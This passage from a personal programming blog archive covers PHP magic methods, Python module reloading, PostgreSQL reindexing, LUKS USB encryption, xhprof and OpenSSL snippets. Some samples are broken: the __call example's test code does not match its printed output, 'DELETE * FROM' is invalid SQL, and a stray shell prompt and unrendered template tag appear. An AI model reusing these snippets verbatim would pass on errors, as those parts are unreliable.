    def on_connected(self, connection):
        self.connection.channel(self.on_channel_open)

    def on_channel_open(self, channel):
        self.channel = channel
        channel.queue_declare(queue=self.queue_name,
                              durable=True,
                              exclusive=False,
                              auto_delete=False,
                              callback=self.on_queue_declared)

    def on_queue_declared(self, frame):
        self.channel.basic_consume(self.handle_delivery, queue=self.queue_name)

    def handle_delivery(self, channel, method, header, body):
        print channel, method, header
        print body

c = Client('t2')

ioloop = tornado.ioloop.IOLoop.instance()
c.connect()

try:
    ioloop.start()
except:
    c.connection.close()

Recieving it:

$ ./cons.py
<pika.channel.Channel object at 0x1d9a390> <Basic.Deliver(['consumer_tag=ctag1.0', 'redelivered=False', 'routing_key=my_routing_beta', 'delivery_tag=1', 'exchange=my_exchange'])> <BasicProperties>
Hello World!
...

For more information, there are an excellent tutorial on the Rabbitmq website.

PHP: Misknown OOP functions

pm@mkz.me (Patrick MARIE) — Wed, 25 Jul 2012 11:49:00 +0000

While reading PHP documentation, especially the OOP chapter, I’ve discovered a few functions I didn’t know of, even if I use a lot PHP in my daily job. Please note that PHP5 was introduced in 2004, and these methods may evolve.

__autoload Link to heading

When calling a class (or an interface) still not declared, PHP will call the __autoload function, if it was declared sooner. It can be usefull to reduce the number of require/include calls and parsing PHP files only on demand.

Simple example:

<?php // Objet.class.php
class Objet
{
};

<?php // test.php
function __autoload($class_name)
{
    echo "Autoloading class $class_name\n";
    $class_file = $class_name . '.class.php';
    if(FALSE === file_exists($class_file))
    {
        throw new Exception('Class "' . $class_name . '" could not be autoloaded (file missing)');
    }
    require_once $class_name . '.class.php';
    if(FALSE === class_exists($class_name))
    {
        throw new Exception('Class "' . $class_name . '" could not be autoloaded (not in file)');
    }
    echo "Autoloading done!";
    return true;
}

// Using "Object" class defined in Object.class.php
$obj = new Objet;

// Trying to use "ObjetNonDefini" will go in error:
$obj2 = new ObjetNonDefini;

$ php test.php
Autoloading class Objet
Autoloading done!
Autoloading class ObjetNonDefini
PHP Fatal error:  Uncaught exception 'Exception' with message 'Class "ObjetNonDefini" could not be autoloaded (file missing)' in /home/mycroft/tmp/php/test.php:9
Stack trace:
#0 /home/mycroft/tmp/php/test.php(26): __autoload('ObjetNonDefini')
#1 {main}
  thrown in /home/mycroft/tmp/php/test.php on line 9

construct / destruct Link to heading

Like other OOP languages, PHP provides generic constructors/destructors that will be called on object instantiation and destruction. Note that destructor will be called even if object is not explicitaly destroyed (example: at the end of a script).

<?php // Objet.class.php
class Objet
{
    public function __construct()
    {
        echo "Constructor\n";
    }

    public function __destruct()
    {
        echo "Destructor\n";
    }
};

<?php // test.php
require_once("Objet.class.php");
$obj = new Objet;
echo "Fin du script.\n";

$ php test.php
Constructor
Fin du script.
Destructor

Visibility of private methods Link to heading

PHP also manages private methods and variables. They are only accessible in their own instanciated object. But PHP allows to call a private method from an object instance from another object, as long as this object is from the same type. This is fully described in the OOP Visibility.

Example:

<?php // Objet.class.php
class Objet
{
    private $obj_name = NULL;

    public function __construct($name = NULL)
    {
        $this->obj_name = $name;
    }

    // Private method
    private function privateMethod()
    {
        echo "Methode privée dans " . $this->obj_name . "\n";
    }

    // This method will allow foreign objects to call our private method.
    public function test(Objet $t)
    {
        $t->privateMethod();
    }
};

<?php // fichier test.php
require_once("Objet.class.php");
$obj = new Objet('objet n°1');
$obj2 = new Objet('objet n°2');

// The "obj" object will call private method in obj2:
$obj->test($obj2);

And this works:

$ php test.php 
Methode privée dans objet n°2

__toString Link to heading

The __toString function is a simple function allowing to define the class interacts when a String conversion of it is required (by using “print”).

    // Using the last object:
    public function __toString()
    {
        return "class " . $this->obj_name;
    }

// In test.php
echo $obj;
// Will show 'class objet n°1'

__invoke Link to heading

In the same fashion, it is possible to define how the object will interact when being called as a function. This is done with the __invoke function

    // Using the last object:
    public function __invoke()
    {
        echo "Appel de echo sur " . $this . "\n";
    }

<?php // In test.php:
require_once("Objet.class.php");
$obj = new Objet('objet n°1');
$obj();

And when executing:

$ php test.php
Appel de echo sur class objet n°1

get, set, isset, unset Link to heading

PHP allows affectation on any class instance any kind of values (like a hash table), as long as this is not a private variable:

<?php

class Objet {};
$obj = new Objet;
$obj->exemple = 1;
echo $obj->exemple . "\n"; // prints '1'

When affecting a variable this way, PHP will call the __set/__get functions. And because of this, it is possible, with reimplementing those functions, to define a new behavior:

<?php // Objet.class.php

class Objet
{
    private $data;
    public function __construct()
    {
        $data = array();
    }

    public function __set($name, $value)
    {
        echo "Setting $name to $value\n";
        $this->data[ $name ] = $value;
    }

    public function __get($name)
    {
        echo "returns $name\n";
        return $this->data[ $name ];
    }
};

<?php // In test.php

require_once("Objet.class.php");
$obj = new Objet;
$obj->priv = 1;
echo $obj->priv;

This example will return:

$ php test.php
Setting priv to 1
return priv
1

This also allows to protect the class contents. Note that if __set/__get is redefined, there won’t be anymore errors when trying to access private variables.

call et callStatic Link to heading

As for variables, it is possible to catch undefined function (static or not) calls in classes, with using _call / __callStatic functions.

<?php // Objet.class.php
class Objet
{
    public function __call($func, $args)
    {
        echo "Calling $func\n";
    }

    public static function __callStatic($func, $args)
    {
        echo "Calling static $func\n";
    }
};

<?php // test.php

class Objet {};
$obj = new Objet;
$obj->exemple = 1; echo $obj->exemple . "\n";

At execution:

$ php test.php
Calling hello
Calling static hello

Those two functions, with the help of variable setters/getters, allow to entirely wrapper classes’ instances, allowing uses more interesting that simple inheritance.

__clone Link to heading

__clone is called when asking for a copy of an object instance. This will result in 2 totally independant instances with the same content. While I’m not sure that clone is commonly used, __clone may be used to modify an object after cloning, or to not effectively clone the object ot use a singleton.

sleep, wakeup Link to heading

Finally, __sleep/__wakeup are used when (un)serializing objects.

<?php // Objet.class.php

class Objet
{
    private $file_name = NULL;
    private $file_hd = NULL;

    public function __construct($file_name)
    {
        $this->file_name = $file_name;
        $this->file_open();
    }

    public function __destruct()
    {
        if($this->file_hd !== NULL)
            $this->file_close();
    }

    private function file_open()
    {
        echo "Opening file\n";
        $this->file_hd = fopen($this->file_name, "a+");
    }

    private function file_close()
    {
        if(NULL === $this->file_hd)
            return false;

        echo "Closing file\n";
        fclose($this->file_hd);
        $this->file_hd = NULL;
    }

    public function __sleep()
    {
        echo "* Serialization.\n";
        $this->file_close();

        return(array('file_name'));
    }

    public function __wakeup()
    {
        echo "* Unserialization.\n";
        $this->file_open();
    }
};

Et testons tout ça:

<?php // test.php

require_once("Objet.class.php");

$obj = new Objet('helloworld.txt');

$serializedObj = serialize($obj);
unset($obj);
var_dump($serializedObj);

$newObj = unserialize($serializedObj);

echo "Fin du script\n";

We’ll check the behavior:

$ php test.php 
Opening file
* Serialization.
Closing file
string(62) "O:5:"Objet":1:{s:16:"Objetfile_name";s:14:"helloworld.txt";}"
* Unserialization.
Opening file
Fin du script
Closing file

Also, see 9 magic methods for PHP.

Python: Reload source files

pm@mkz.me (Patrick MARIE) — Sat, 26 Mar 2011 00:00:00 +0000

When I was writing BUTT - an irc bot, I wanted to create a mini plugin system, to add or modify code without restarting any process. Python allows this natively using the imp module. In the following examples, I’ll show how to use the load_source procedure to load and parse a new source file.

Here a very simple module we’ll import during execution time:

#!/usr/bin/env python

class TestModule:
    def __init__(self):
        pass

    def myfunction(self):
        print "Calling myfunction"

Let’s load module:

#!/usr/bin/env python

import os, shutil
import imp

def load_module(module_name):
    print "Loading module %s" % module_name

    modfile = os.path.join(os.getcwd(), module_name + '.py')

    module = imp.load_source(module_name, modfile)

    print module
    # Returns <module 'test' from '/home/mycroft/imp/test.pyc'>

    print dir(module)
    # Permet de lister les differents attributs de l'objet importé.
    # Returns ['TestModule', '__builtins__', '__doc__', '__file__', '__name__', '__package__']

    for objname in dir(module):
        # Je veux specifiquement les modules suffixés "Module":
        if objname.endswith('Module'):
            modclass = getattr(module, objname)
            print modclass
            # Returns test.TestModule
            print dir(modlass)
            # Returns ['__doc__', '__init__', '__module__', 'myfunction']
            return modclass

    return None

Just testing the whole thing, with reloading a module:

if __name__ == '__main__':

    modclass = load_module('test')
    instance = modclass()
    instance.myfunction()

    # We move away test.py, and copy test_new.py to test.py.

    print

    shutil.move('test.py', 'test_old.py')
    shutil.move('test_new.py', 'test.py')

    modclass = load_module('test')
    instance = modclass()
    instance.myfunction()

    shutil.move('test.py', 'test_new.py')
    shutil.move('test_old.py', 'test.py')

And we’ll get:

$ ./modules.py
Loading module test
<module 'test' from '/home/mycroft/imp/test.py'>
['TestModule', '__builtins__', '__doc__', '__file__', '__name__', '__package__']
test.TestModule
['__doc__', '__init__', '__module__', 'myfunction']
Calling myfunction

Loading module test
<module 'test' from '/home/mycroft/imp/test.py'>
['TestModule', '__builtins__', '__doc__', '__file__', '__name__', '__package__']
test.TestModule
['__doc__', '__init__', '__module__', 'myfunction']
Calling (new) myfunction

Cleaning PostgreSQL tables

pm@mkz.me (Patrick MARIE) — Wed, 26 May 2010 17:52:00 +0000

When a PostgreSQL database takes too much place, it may be time to make some cleanup. And sometimes, a big DELETE with a VACUUM FULL may not be enough. For example, today I’ve find out a few things to do to cleanup things more deeply.

I’ve done a simple “DELETE * FROM obj;”, followed by a VACUUM. I got back 300 MB, but my table is still using space:

engineProd=# SELECT count(*) FROM obj;
 count
-------
     0
(1 row)

engineProd=# SELECT pg_size_pretty(pg_total_relation_size('obj'));
 pg_size_pretty
----------------
 85 MB
(1 row)

It’s possible with PostgreSQL to monitor easily disk storage used by tables and their indexes. You’ll have to use database’s internal tables, as pg_class:

{% highlight sql %} engineProd=# SELECT relname, relpages FROM pg_class EngineProd-# WHERE relpages > 1000 ORDER BY relpages DESC; relname | relpages —————————–+———- obj_hash_index | 4322 obj_action_created_at_index | 1586 obj_created_at_index | 1527 obj_st_to_index | 1262 obj_st_from_index | 1248 obj_status_index | 1224 obj_pkey | 1223


The tricky part is to reindex with [REINDEX](http://www.postgresql.org/docs/current/static/sql-reindex.html):

```sql
engineProd=# REINDEX TABLE obj;
REINDEX

And the result is a lot better:

engineProd=# SELECT pg_size_pretty(pg_total_relation_size('obj'));
 pg_size_pretty 
----------------
 88 kB
(1 row)

Note that there is a full technical page about this in the PostgreSQL manual.mycroft@nas0:/volume1/backup/dev/gazette/_posts$

Encrypt your usb key under Linux with LUKS

pm@mkz.me (Patrick MARIE) — Fri, 14 May 2010 00:00:00 +0000

This morning, I format my usb key and create 2 partitions, a FAT one to share files with most hosts, and a crypted ext2 one for my personal data. The first part is very simple (fdisk,mkfs.vfat), so was the crypted part: It’s much more simpler than in the past, when you had to patch kernel a lot of times, losetuping the device, try the passkey, etc.

To do that, I followed the “Howto disk encryption with dm crypt luks and debian” tutorial.

The procedure to me was the following one. Firstly, we create the partitions with fdisk:

$ fdisk /dev/sdb

Command (m for help): p

Disk /dev/sdb: 8053 MB, 8053063680 bytes
248 heads, 62 sectors/track, 1022 cylinders
Units = cylinders of 15376 * 512 = 7872512 bytes
Disk identifier: 0x000cb690

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1               1         819     6296441    c  W95 FAT32 (LBA)
/dev/sdb2             820        1022     1560664   83  Linux

$ mkfs.vfat -n "voyager" /dev/sdb1
[...]
$ dd if=/dev/urandom of=/dev/sdb2

Disk initialization: We create the encrypted layer of the device:

$ cryptsetup --verbose --verify-passphrase luksFormat /dev/sdb2

WARNING!
========
This will overwrite data on /dev/sdb2 irrevocably.

Are you sure? (Type uppercase yes): YES
Enter LUKS passphrase: 
Verify passphrase: 
Command successful.

$ cryptsetup luksOpen /dev/sdb2 cryptedDevice
Enter passphrase for /dev/sdb2: 
Key slot 0 unlocked.

$ ls -l /dev/mapper/
total 0
crw-rw---- 1 root root  10, 62 2010-03-29 11:56 control
brw-rw---- 1 root disk 253,  3 2010-05-14 13:14 cryptedDevice

You’ll have a /dev/mapper/cryptedDevice which is a virtual device, and you’ll be able to format it:

$ mkfs.ext3 -j -m 1 -O dir_index,filetype,sparse_super /dev/mapper/cryptedDevice 
mke2fs 1.41.9 (22-Aug-2009)
(...)

$ mkdir /mnt/cryptedUsbKey ; mount /dev/mapper/cryptedDevice /mnt/cryptedUsbKey

At this moment, the device is mounted and fully usable! To demount and disconnect it:

$ umount /mnt/cryptedUsbKey
$ cryptsetup luksClose /dev/mapper/cryptedDevice

With Ubuntu/Fedora, when a key is encrypted partition is created like this, you just have to unplug/plug the usb key to automaticaly recognize the encrypted paru’ll also be able to add/remove passkeys with luksAddKey and luksDelKey.

xhprof, profiling PHP: Installation & configuration

pm@mkz.me (Patrick MARIE) — Mon, 10 May 2010 00:00:00 +0000

xhprof is a opensource PHP extension developed by Facebook which allows to profile PHP code. It can be a very powerful tool if you’re able to understand what it outputs, and allows you to optimize your PHP application.

Installation Link to heading

Like any other php module, install goes through phpize:

$ wget http://pecl.php.net/get/xhprof-0.9.2.tgz
$ tar xvfz xhprof-0.9.2.tgz
$ cd xhprof-0.9.2/
$ cd extension
$ phpize
Configuring for:
PHP Api Version:         20041225
Zend Module Api No:      20060613
Zend Extension Api No:   220060519
$ ./configure
[...]
$ make
[...]
$ make install
[...]

You’ll have to add a new section in php.ini:

[xhprof]
extension=xhprof.so
xhprof.output_dir=/tmp/xhprof

And you’ll create the output directory:

$ mkdir /tmp/xhprof ; chmod a+rwt /tmp/xhprof

And finally, you’ll just have to install xhprof vizualisation code, and create a virtualhost for it (if you want to):

$ cp -Rp xhprof_html xhprof_lib /www/xhprof/

I’ve created a small script to retrieve quickly all available reports:

<?php
echo "<b>Available reports</b><br /><br />";

$dir = opendir('/tmp/xhprof');
if( ! $dir )
    die('No directory.');

while(FALSE != ($file = readdir($dir)))
{
    if($file[0] === '.')
        continue;
    $rep = explode('.', $file);
    echo "<a href='/xhprof_html/?run=" . $rep[0] . "&source=" . $rep[1] ."'>";
    echo $file;
    echo "</a><br />";
}

closedir($dir);

Code profiling Link to heading

To generate a report, you’ll have to start analysis engine and stop it at the end. In the following snippet, you’ll analyse the foo() function code:

<?php

// Initializing xhprof
xhprof_enable( XHPROF_FLAGS_CPU + XHPROF_FLAGS_MEMORY );

foo();

// Stopping xhprof & writing report
$xhprof_data = xhprof_disable();

include_once "/www/xhprof/xhprof_lib/utils/xhprof_lib.php";
include_once "/www/xhprof/xhprof_lib/utils/xhprof_runs.php";

$xhprof_runs = new XHProfRuns_Default();
$run_id = $xhprof_runs->save_run($xhprof_data, "foo");

Reports will be written in /tmp/xhprof and can be viewable directly with xhprof GUI. For more information, check the xhprof manual.

OpenSSL: First steps with Hashing and crypt functions

pm@mkz.me (Patrick MARIE) — Fri, 07 May 2010 00:00:00 +0000

As I’m starting to work with OpenSSL to rewrite my password wallet, which uses ECB mode to store data, I wanted to write down a few notes about how to use it.

My first step was to know how OpenSSL worked. Here a few useful snippets to do basic tasks:

sha256 on a string Link to heading

    SHA256_CTX sha256;
    SHA256_Init(&sha256);
    SHA256_Update(&sha256, pass, strlen(pass));
    SHA256_Final(key, &sha256);

AES 256, CBC crypt Link to heading

    EVP_CIPHER_CTX ctx;
    const EVP_CIPHER *cipher_type
    unsigned char *iv, *key;

    /* Don't forget to initialize memory for iv and key */
    /* Don't forget to set key as well */

    EVP_CIPHER_CTX_init(&ctx);

    cipher_type = EVP_aes_256_cbc();
    EVP_EncryptInit_ex(&ctx, cipher_type, NULL, NULL, NULL);
    RAND_bytes(iv, EVP_CIPHER_CTX_iv_length(&ctx));

    EVP_EncryptInit_ex(&ctx, NULL, NULL, key, iv);
    // 'in' contains message to encrypt, 'in_len' its length.
    EVP_EncryptUpdate(ctx, out, &out_len, in, in_len);
    EVP_EncryptFinal_ex(ctx, out + out_len, &out_len);

    EVP_CIPHER_CTX_cleanup(&ctx);

To decrypt, the method is the same, and we’ve just to use EVP_DecryptInit_ex, EVP_DecryptUpdate and EVP_DecryptFinal_ex functions.

You’ll find at https://mkz.me/~mycroft/b/sslfilecrypt.c a simple tool using those functions in OpenSSL. It uses getpass(3) to get your password, then uses sha256 functions to get the crypt key, and then inits an IV and write in the file the crypted data.

Compilation:

$ gcc -o sslfilecrypt sslfilecrypt.c -lssl

Test:

$ dd if=/dev/urandom of=./test bs=512 count=8000
$ ./sslfilecrypt encrypt test test.crypted
Password: *******
$ ./sslfilecrypt decrypt test.crypted test.clear
Password: *******
$ md5sum test test.crypted test.clear
b5393e86e800f1557041f8f2d0964bef  test
5ddc5d355f49c0d2aa7140ac88430c54  test.crypted
b5393e86e800f1557041f8f2d0964bef  test.clear
$ hexdump -C test|tail -n 5
003e7fc0  a7 63 11 76 a9 85 27 ca  d1 af b8 b4 e4 21 00 b3
003e7fd0  27 ac 89 b2 c3 a1 99 1d  6a 5d 83 4c ca 27 ed 5d
003e7fe0  29 4a 50 49 f7 59 3e f2  56 a6 c5 a0 70 8e cd 89
003e7ff0  9f 0f 01 f3 93 c7 91 d9  c3 cf 1b f1 b5 3b 51 a4
$ hexdump -C test.crypted|tail -n 5
003e7ff0  f8 d8 5f a4 3d cf 3e cc  f2 97 13 2a ac 06 b6 d8
003e8000  7e 59 af 68 93 c8 ea b1  d3 6e e6 82 97 57 43 e5
003e8010  18 a4 d1 4f d5 05 58 4e  7d 34 cf 0c 8b 00 ba d4
003e8020  72 60 ea 79 cb bc 83 bb  3e 6c b2 dd 30 48 87 07

Note that we’ll be able to change algorithm used around line 186 to use Camellia instead of AES (enabling *EVP_aes_256_cbc(3) or EVP_camellia_256_cbc(3)).

This tool is a proof of concept and should not be used for a real use. It misses important things, like rewriting memory to 0 after use.

Get the source code.

Hello World

pm@mkz.me (Patrick MARIE) — Thu, 06 May 2010 00:00:00 +0000

Collecting examples for as many languages and related programming environments for “Hello world!” program: http://www2.latech.edu/~acm/HelloWorld.html.

Rosettacode’s idea is to present solutions to the same task in as many different languages as possible, to demonstrate how languages are similar and different: https://rosettacode.org/wiki/Hello_world/Text.

Updated in 2021: A little rust sample as I’m writing a lot in Rust nowadays:

fn main() {
    println!("Hello world!");
}

You can even write Hello World with zero line of code, and in rust it is a perfect 42 bytes!

/**/fn main(){print!("Hello, World!")}/**/